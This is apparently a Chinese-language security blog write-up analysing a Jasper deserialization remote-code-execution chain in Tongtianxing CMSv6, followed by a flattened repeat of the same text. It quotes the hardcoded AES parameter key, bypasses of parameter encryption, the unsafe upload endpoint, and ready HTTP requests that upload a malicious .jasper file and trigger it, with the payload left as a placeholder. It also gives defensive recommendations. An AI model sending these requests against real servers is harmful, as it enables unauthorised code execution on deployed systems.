通天星CMSv6 Japser反序列化漏洞分析
字数 1348 2025-08-22 18:37:14

通天星CMSv6 Jasper反序列化漏洞分析与利用教学

一、漏洞概述

通天星CMSv6存在Jasper反序列化漏洞,攻击者可通过上传恶意.jasper文件并触发反序列化操作实现远程代码执行。该漏洞影响版本:

  1. 上传接口在7.33.0.7_20240508及其以下版本有效
  2. 反序列化链条在最新版7.34.0.7_20240719版本仍然存在

二、漏洞分析

2.1 路由参数加密机制

2.1.1 参数加密过程

通天星CMS的部分路由需要加密参数才能正常请求,否则会返回错误:

  • param_must_encry/参数必须加密参数,result响应1
  • 若result响应2则表示该路由需要登录后才能访问

加密实现位于public.js中的encrypt函数,使用AES ECB模式加密:

function encrypt(word, key) {
    if (!word) { return ''; }
    var key = CryptoJS.enc.Utf8.parse(key);
    var srcs = CryptoJS.enc.Utf8.parse(word);
    var encrypted = CryptoJS.AES.encrypt(srcs, key, {
        mode: CryptoJS.mode.ECB,
        padding: CryptoJS.pad.Pkcs7
    });
    return encrypted.toString();
}

密钥通过getKey()函数获取,硬编码为ttx123456Aes1234

var webParseKey = '';
function getKey() {
    if (webParseKey) { return webParseKey; }
    var ret = "ttx";
    var str = "Aes1234";
    webParseKey = ret + getNumberKey() + str;
    return webParseKey;
}

2.1.2 参数加密绕过方法

  1. 使用OPTIONS方法请求:在DecryptFilter.doFilter()中,OPTIONS方法请求或包含ttxdownload头的请求可绕过加密检查

  2. 静态资源路径绕过isStaticResource()方法检查的路径可绕过加密:

    public final boolean isStaticResource(String url) {
        if (StringUtils.isBlank(url)) return false;
        else if (!Objects.equal("/", url) 
            && !url.startsWith("/ws") 
            && !url.startsWith("/wss") 
            && !url.startsWith("/h5/")
            // 其他静态资源路径检查...
        ) {
            // 检查文件后缀
        } else {
            return true;
        }
    }
    
  3. 路径遍历绕过:利用Tomcat解析特性,如/ws/..;/StandardPositionAction_refreshGpsStatus.action

2.2 Jasper反序列化链条

2.2.1 漏洞触发点

StandardLineAction.report()方法中,未过滤的name参数直接传入createReport()

public void report() {
    String name = this.getRequestString("name"); // 未过滤的用户输入
    // ...
    ReportPrint print = this.getReportCreate().createReport(name); // 触发漏洞
    // ...
}

2.2.2 反序列化流程

  1. getReportCreate()获取ReportCreater实例
  2. createReport()调用_createReport()
  3. _createReport()调用getJasperReport(reportKey)
  4. getJasperReportFromFile()拼接路径读取.jasper文件
  5. JRLoader.loadObject()执行反序列化操作

关键反序列化代码:

public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
    if (file.exists() && file.isFile()) {
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bufferedIn = new BufferedInputStream(fis);
        ContextClassLoaderObjectInputStream ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
        obj = ois.readObject(); // 反序列化执行点
    }
}

2.3 文件上传接口

方式一:FTP上传

7.33.0.7_20240508以前版本默认开启FTP服务(端口2121),允许匿名访问(空用户名和密码)

方式二:FileUploadAction上传

FileUploadAction.upload()存在不安全文件上传:

public void upload() {
    for (int i = 0; i < this.uploadFileFileName.size(); ++i) {
        String fileName = (String)this.uploadFileFileName.get(i); // 未过滤文件名
        FileOutputStream fos = new FileOutputStream("C:\\" + fileName); // 直接写入C盘根目录
        // ...
    }
}

三、漏洞利用

3.1 上传恶意Jasper文件

使用FileUploadAction_upload.action接口上传:

POST /com.framework.web.action.FileUploadAction_upload.action HTTP/1.1
Host: target:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvl1q2bEhAS3C02LB

------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFile"; filename="exploit.jasper"
Content-Type: application/octet-stream

<恶意jasper文件内容>
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFileFileName"

exploit.jasper
------WebKitFormBoundaryvl1q2bEhAS3C02LB--

3.2 触发反序列化

使用OPTIONS方法绕过参数加密触发:

OPTIONS /StandardLineAction_report.action?name=C:\\exploit&id=10&direct=0 HTTP/1.1
Host: target:port

四、防御建议

  1. 升级到最新版本并应用安全补丁
  2. 禁用匿名FTP访问
  3. 对上传文件进行严格校验:
    • 文件类型检查
    • 文件内容校验
    • 限制上传目录
  4. 对JasperReport反序列化操作添加安全校验
  5. 加强参数过滤和加密机制

五、总结

该漏洞利用链涉及:

  1. 不安全的文件上传
  2. 未加密参数绕过
  3. JasperReport反序列化漏洞

利用此漏洞攻击者可在目标系统上执行任意代码,危害严重。建议用户及时采取防护措施。

通天星CMSv6 Jasper反序列化漏洞分析与利用教学 一、漏洞概述 通天星CMSv6存在Jasper反序列化漏洞,攻击者可通过上传恶意.jasper文件并触发反序列化操作实现远程代码执行。该漏洞影响版本: 上传接口在7.33.0.7_ 20240508及其以下版本有效 反序列化链条在最新版7.34.0.7_ 20240719版本仍然存在 二、漏洞分析 2.1 路由参数加密机制 2.1.1 参数加密过程 通天星CMS的部分路由需要加密参数才能正常请求,否则会返回错误: param_must_encry/参数必须加密参数 ,result响应1 若result响应2则表示该路由需要登录后才能访问 加密实现位于 public.js 中的 encrypt 函数,使用AES ECB模式加密: 密钥通过 getKey() 函数获取,硬编码为 ttx123456Aes1234 : 2.1.2 参数加密绕过方法 使用OPTIONS方法请求 :在 DecryptFilter.doFilter() 中,OPTIONS方法请求或包含 ttxdownload 头的请求可绕过加密检查 静态资源路径绕过 : isStaticResource() 方法检查的路径可绕过加密: 路径遍历绕过 :利用Tomcat解析特性,如 /ws/..;/StandardPositionAction_refreshGpsStatus.action 2.2 Jasper反序列化链条 2.2.1 漏洞触发点 StandardLineAction.report() 方法中,未过滤的 name 参数直接传入 createReport() : 2.2.2 反序列化流程 getReportCreate() 获取 ReportCreater 实例 createReport() 调用 _createReport() _createReport() 调用 getJasperReport(reportKey) getJasperReportFromFile() 拼接路径读取.jasper文件 JRLoader.loadObject() 执行反序列化操作 关键反序列化代码: 2.3 文件上传接口 方式一:FTP上传 7.33.0.7_ 20240508以前版本默认开启FTP服务(端口2121),允许匿名访问(空用户名和密码) 方式二:FileUploadAction上传 FileUploadAction.upload() 存在不安全文件上传: 三、漏洞利用 3.1 上传恶意Jasper文件 使用 FileUploadAction_upload.action 接口上传: 3.2 触发反序列化 使用OPTIONS方法绕过参数加密触发: 四、防御建议 升级到最新版本并应用安全补丁 禁用匿名FTP访问 对上传文件进行严格校验: 文件类型检查 文件内容校验 限制上传目录 对JasperReport反序列化操作添加安全校验 加强参数过滤和加密机制 五、总结 该漏洞利用链涉及: 不安全的文件上传 未加密参数绕过 JasperReport反序列化漏洞 利用此漏洞攻击者可在目标系统上执行任意代码,危害严重。建议用户及时采取防护措施。